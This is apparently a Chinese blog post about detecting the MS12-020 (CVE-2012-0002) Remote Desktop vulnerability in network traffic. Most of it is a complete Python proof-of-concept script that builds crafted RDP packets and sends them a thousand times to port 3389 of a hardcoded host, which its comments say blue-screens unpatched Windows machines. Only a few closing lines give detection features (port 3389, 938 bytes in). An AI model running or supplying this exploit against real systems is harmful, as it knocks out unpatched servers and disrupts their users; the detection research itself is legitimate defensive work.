一个3389远程溢出漏洞的简单流量检测



CVE编号:CVE-2012-0002
CNNVD编号:CNNVD-201203-241
中文名:3389远程溢出漏洞/Microsoft Windows远程桌面协议代码执行漏洞
原文地址:http://blog.csdn.net/jiayanhui2877/article/details/47025247 ==>含有报文分析和特征提取,如果Buf搞不定,就看这个吧
脚本成功运行环境:windows系统,开启3389端口==>可进行TCP连接并发送buf
复现环境:XP系统、开启3389、未打补丁含有此漏洞
二进制的漏洞,精华所在是解析
相对的,msf也有exp,所以需要研究ruby语言,查看Exp

 

  1 # ms12-020 "chinese shit" PoC v2(wireshark version)
  2 #
  3 # tested on winsp3 spanish, reported towork on Win7, win 2008
  4 #
  5 # original source:http://115.com/file/be27pff7
  6 #
  7 #
  8 
  9 import socket
 10 import sys
 11 import time
 12 
 13 
 14 
 15 buf=""
 16 buf+="\x03\x00\x00\x13" # TPKT, Version3, lenght 19
 17 buf+="\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00"# ITU-T Rec X.224
 18 buf+="\x03\x00\x01\xd6" # TPKT,Version 3, lenght 470
 19 buf+="\x02\xf0\x80" # ITU-T RecX.224
 20 
 21 
 22 buf+="\x7f\x65\x82\x01\x94\x04" #MULTIPOINT-COMMUNICATION-SERVICET.125
 23 buf+="\x01\x01\x04\x01\x01\x01\x01\xff"# "Fuck you Chelios" packet
 24 buf+="\x30\x19\x02\x04\x00\x00\x00\x22"#000000MaxchannelIDs result in bluescreen after 0x2c head len.
 25 buf+="\x02\x04\x00\x00\x00\x02\x02\x04"
 26 buf+="\x00\x00\x00\x00\x02\x04\x00\x00"
 27 buf+="\x00\x01\x02\x04\x00\x00\x00\x00"
 28 buf+="\x02\x04\x00\x00\x00\x01\x02\x02"
 29 buf+="\xff\xff\x02\x04\x00\x00\x00\x02"
 30 buf+="\x30\x19\x02\x04\x00\x00\x00\x01"
 31 buf+="\x02\x04\x00\x00\x00\x01\x02\x04"
 32 buf+="\x00\x00\x00\x01\x02\x04\x00\x00"
 33 buf+="\x00\x01\x02\x04\x00\x00\x00\x00"
 34 buf+="\x02\x04\x00\x00\x00\x01\x02\x02"
 35 buf+="\x04\x20\x02\x04\x00\x00\x00\x02"
 36 buf+="\x30\x1c\x02\x02\xff\xff\x02\x02"
 37 buf+="\xfc\x17\x02\x02\xff\xff\x02\x04"
 38 buf+="\x00\x00\x00\x01\x02\x04\x00\x00"
 39 buf+="\x00\x00\x02\x04\x00\x00\x00\x01"
 40 buf+="\x02\x02\xff\xff\x02\x04\x00\x00"
 41 buf+="\x00\x02\x04\x82\x01\x33\x00\x05"
 42 buf+="\x00\x14\x7c\x00\x01\x81\x2a\x00"
 43 buf+="\x08\x00\x10\x00\x01\xc0\x00\x44"
 44 buf+="\x75\x63\x61\x81\x1c\x01\xc0\xd8"
 45 buf+="\x00\x04\x00\x08\x00\x80\x02\xe0"
 46 buf+="\x01\x01\xca\x03\xaa\x09\x04\x00"
 47 buf+="\x00\xce\x0e\x00\x00\x48\x00\x4f"
 48 buf+="\x00\x53\x00\x54\x00\x00\x00\x00"
 49 buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
 50 buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
 51 buf+="\x00\x00\x00\x00\x00\x04\x00\x00"
 52 buf+="\x00\x00\x00\x00\x00\x0c\x00\x00"
 53 buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
 54 buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
 55 buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
 56 buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
 57 buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
 58 buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
 59 buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
 60 buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
 61 buf+="\x00\x01\xca\x01\x00\x00\x00\x00"
 62 buf+="\x00\x10\x00\x07\x00\x01\x00\x30"
 63 buf+="\x00\x30\x00\x30\x00\x30\x00\x30"
 64 buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
 65 buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
 66 buf+="\x00\x30\x00\x30\x00\x30\x00\x30"
 67 buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
 68 buf+="\x00\x30\x00\x30\x00\x00\x00\x00"
 69 buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
 70 buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
 71 buf+="\x00\x00\x00\x00\x00\x04\xc0\x0c"
 72 buf+="\x00\x0d\x00\x00\x00\x00\x00\x00"
 73 buf+="\x00\x02\xc0\x0c\x00\x1b\x00\x00"
 74 buf+="\x00\x00\x00\x00\x00\x03\xc0\x2c"
 75 buf+="\x00\x03\x00\x00\x00\x72\x64\x70"
 76 buf+="\x64\x72\x00\x00\x00\x00\x00\x80"
 77 buf+="\x80\x63\x6c\x69\x70\x72\x64\x72"
 78 buf+="\x00\x00\x00\xa0\xc0\x72\x64\x70"
 79 buf+="\x73\x6e\x64\x00\x00\x00\x00\x00"
 80 buf+="\xc0"
 81 
 82 buf+="\x03\x00\x00\x0c" # TPKT,Version 3, Lenght 12
 83 buf+="\x02\xf0\x80"  # ITU-T Rec X.224
 84 buf+="\x04\x01\x00\x01\x00" #MULTIPOINT-COMMUNICATION-SERVICE T.125
 85 buf+="\x03\x00\x00\x08" #TPKT,Version 3, Length 8
 86 buf+="\x02\xf0\x80" # ITU-T RecX.224
 87 buf+="\x28" #MULTIPOINT-COMM-SERVICE T.125
 88 buf+="\x03\x00\x00\x0c" # TPKT,Version 3, Lenght 12
 89 buf+="\x02\xf0\x80" # ITU-T RecX.224
 90 buf+="\x38\x00\x06\x03\xef" #MULTIPOINT-COMM-SERVICE T.125
 91 buf+="\x03\x00\x00\x0c" # TPKT,Version 3, Lenght 12
 92 buf+="\x02\xf0\x80" #ITU-T RecX.224
 93 buf+="\x38\x00\x06\x03\xeb" #MULTIPOINT-COMM-SERVICE T.125
 94 buf+="\x03\x00\x00\x0c" # TPKT,Version 3, Lenght 12
 95 buf+="\x02\xf0\x80" #ITU-T RecX.224
 96 buf+="\x38\x00\x06\x03\xec"#MULTIPOINT-COMM-SERVICE T.125
 97 buf+="\x03\x00\x00\x0c"  # TPKT, Version 3, Lenght 12
 98 buf+="\x02\xf0\x80" #ITU-T RecX.224
 99 buf+="\x38\x00\x06\x03\xed"#MULTIPOINT-COMM-SERVICE T.125
100 buf+="\x03\x00\x00\x0c" # TPKT,Version 3, Lenght 12
101 buf+="\x02\xf0\x80" #ITU-T RecX.224
102 buf+="\x38\x00\x06\x03\xee"#MULTIPOINT-COMM-SERVICE T.125
103 buf+="\x03\x00\x00\x0b" # TPKT,Version 3, Lenght 12
104 buf+="\x06\xd0\x00\x00\x12\x34\x00"  #ITU-T Rec X.224
105 
106 
107 buf1 = ""
108 buf1 +="\x03\x00\x00\x13\x0e\xe0\x00\x00"
109 buf1 +="\x00\x00\x00\x01\x00\x08\x00\x00"
110 buf1 +="\x00\x00\x00\x03\x00\x01\xd6\x02"
111 buf1 +="\xf0\x80\x7f\x65\x82\x01\x94\x04"
112 
113 buf1 += "\x01\x01\x04\x01\x01\x01\x01\xff"
114 buf1 +="\x30\x19\x02\x04\x00\x00\x00\x22"
115 buf1 +="\x02\x04\x00\x00\x00\x0a\x02\x04"
116 buf1 +="\x00\x00\x00\x00\x02\x04\x00\x00"
117 buf1 +="\x00\x01\x02\x04\x00\x00\x00\x00"
118 buf1 +="\x02\x04\x00\x00\x00\x01\x02\x02"
119 buf1 +="\xff\xff\x02\x04\x00\x00\x00\x02"
120 buf1 +="\x30\x19\x02\x04\x00\x00\x00\x01"
121 buf1 +="\x02\x04\x00\x00\x00\x01\x02\x04"
122 buf1 +="\x00\x00\x00\x01\x02\x04\x00\x00"
123 buf1 +="\x00\x01\x02\x04\x00\x00\x00\x00"
124 buf1 += "\x02\x04\x00\x00\x00\x01\x02\x02"
125 buf1 +="\x04\x20\x02\x04\x00\x00\x00\x02"
126 buf1 +="\x30\x1c\x02\x02\xff\xff\x02\x02"
127 buf1 +="\xfc\x17\x02\x02\xff\xff\x02\x04"
128 buf1 +="\x00\x00\x00\x01\x02\x04\x00\x00"
129 buf1 +="\x00\x00\x02\x04\x00\x00\x00\x01"
130 buf1 += "\x02\x02\xff\xff\x02\x04\x00\x00"
131 buf1 +="\x00\x02\x04\x82\x01\x33\x00\x05"
132 buf1 +="\x00\x14\x7c\x00\x01\x81\x2a\x00"
133 buf1 +="\x08\x00\x10\x00\x01\xc0\x00\x44"
134 buf1 +="\x75\x63\x61\x81\x1c\x01\xc0\xd8"
135 buf1 +="\x00\x04\x00\x08\x00\x80\x02\xe0"
136 buf1 += "\x01\x01\xca\x03\xaa\x09\x04\x00"
137 buf1 +="\x00\xce\x0e\x00\x00\x48\x00\x4f"
138 buf1 +="\x00\x53\x00\x54\x00\x00\x00\x00"
139 buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"
140 buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"
141 buf1 +="\x00\x00\x00\x00\x00\x04\x00\x00"
142 buf1 +="\x00\x00\x00\x00\x00\x0c\x00\x00"
143 buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"
144 buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"
145 buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"
146 buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"
147 buf1 += "\x00\x00\x00\x00\x00\x00\x00\x00"
148 buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"
149 buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"
150 buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"
151 buf1 +="\x00\x01\xca\x01\x00\x00\x00\x00"
152 buf1 +="\x00\x10\x00\x07\x00\x01\x00\x30"
153 buf1 += "\x00\x30\x00\x30\x00\x30\x00\x30"
154 buf1 +="\x00\x2d\x00\x30\x00\x30\x00\x30"
155 buf1 +="\x00\x2d\x00\x30\x00\x30\x00\x30"
156 buf1 +="\x00\x30\x00\x30\x00\x30\x00\x30"
157 buf1 +="\x00\x2d\x00\x30\x00\x30\x00\x30"
158 buf1 +="\x00\x30\x00\x30\x00\x00\x00\x00"
159 buf1 += "\x00\x00\x00\x00\x00\x00\x00\x00"
160 buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"
161 buf1 +="\x00\x00\x00\x00\x00\x04\xc0\x0c"
162 buf1 +="\x00\x0d\x00\x00\x00\x00\x00\x00"
163 buf1 +="\x00\x02\xc0\x0c\x00\x1b\x00\x00"
164 buf1 +="\x00\x00\x00\x00\x00\x03\xc0\x2c"
165 buf1 += "\x00\x03\x00\x00\x00\x72\x64\x70"
166 buf1 +="\x64\x72\x00\x00\x00\x00\x00\x80"
167 buf1 +="\x80\x63\x6c\x69\x70\x72\x64\x72"
168 buf1 +="\x00\x00\x00\xa0\xc0\x72\x64\x70"
169 buf1 +="\x73\x6e\x64\x00\x00\x00\x00\x00"
170 buf1 +="\xc0\x03\x00\x00\x0c\x02\xf0\x80"
171 buf1 +="\x04\x01\x00\x01\x00\x03\x00\x00"
172 buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"
173 buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"
174 buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"
175 buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"
176 buf1 += "\x08\x02\xf0\x80\x28\x03\x00\x00"
177 buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"
178 buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"
179 buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"
180 buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"
181 buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"
182 buf1 += "\x0c\x02\xf0\x80\x38\x00\x06\x03"
183 buf1 +="\xea\x03\x00\x00\x0c\x02\xf0\x80"
184 buf1 +="\x38\x00\x06\x03\xeb\x03\x00\x00"
185 buf1 +="\x0c\x02\xf0\x80\x38\x00\x06\x03"
186 buf1 +="\xec\x03\x00\x00\x0c\x02\xf0\x80"
187 buf1 +="\x38\x00\x06\x03\xed\x03\x00\x00"
188 buf1 += "\x0c\x02\xf0\x80\x38\x00\x06\x03"
189 buf1 +="\xee\x03\x00\x00\x0c\x02\xf0\x80"
190 buf1 +="\x38\x00\x06\x03\xf0\x03\x00\x00"
191 buf1 +="\x0c\x02\xf0\x80\x38\x00\x06\x03"
192 buf1 +="\xf1\x03\x00\x00\x0c\x02\xf0\x80"
193 buf1 +="\x38\x00\x06\x03\xf2\x03\x00\x00"
194 buf1 += "\x0c\x02\xf0\x80\x38\x00\x06\x03"
195 buf1 +="\xf3\x03\x00\x00\x09\x02\xf0\x80"
196 buf1 += "\x21\x80"
197 
198 #buf1 is for win xp ,buf2 is for win7win2003
199 #HOST = sys.argv[1]
200 HOST = '172.16.101.173'
201 PORT = 3389
202 for i in range(1000):
203          s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
204          s.connect((HOST,PORT))
205          print"sending: %d bytes" % len(buf1)
206          s.send(buf1)
207          #rec= s.recv(100)
208          #print"received: %d bytes" % len(rec)
209          s.close()
210          time.sleep(1)

 

因为日志数据并没有给全,解析不完全,所以关键的Buf是没有的。

经过测试,两个特征

1. destPort:3389

2. bytesIn:938

这需要大量数据检测可能误报的数目、概率

posted @ 2017-09-21 20:10  huim  阅读(4312)  评论(0编辑  收藏  举报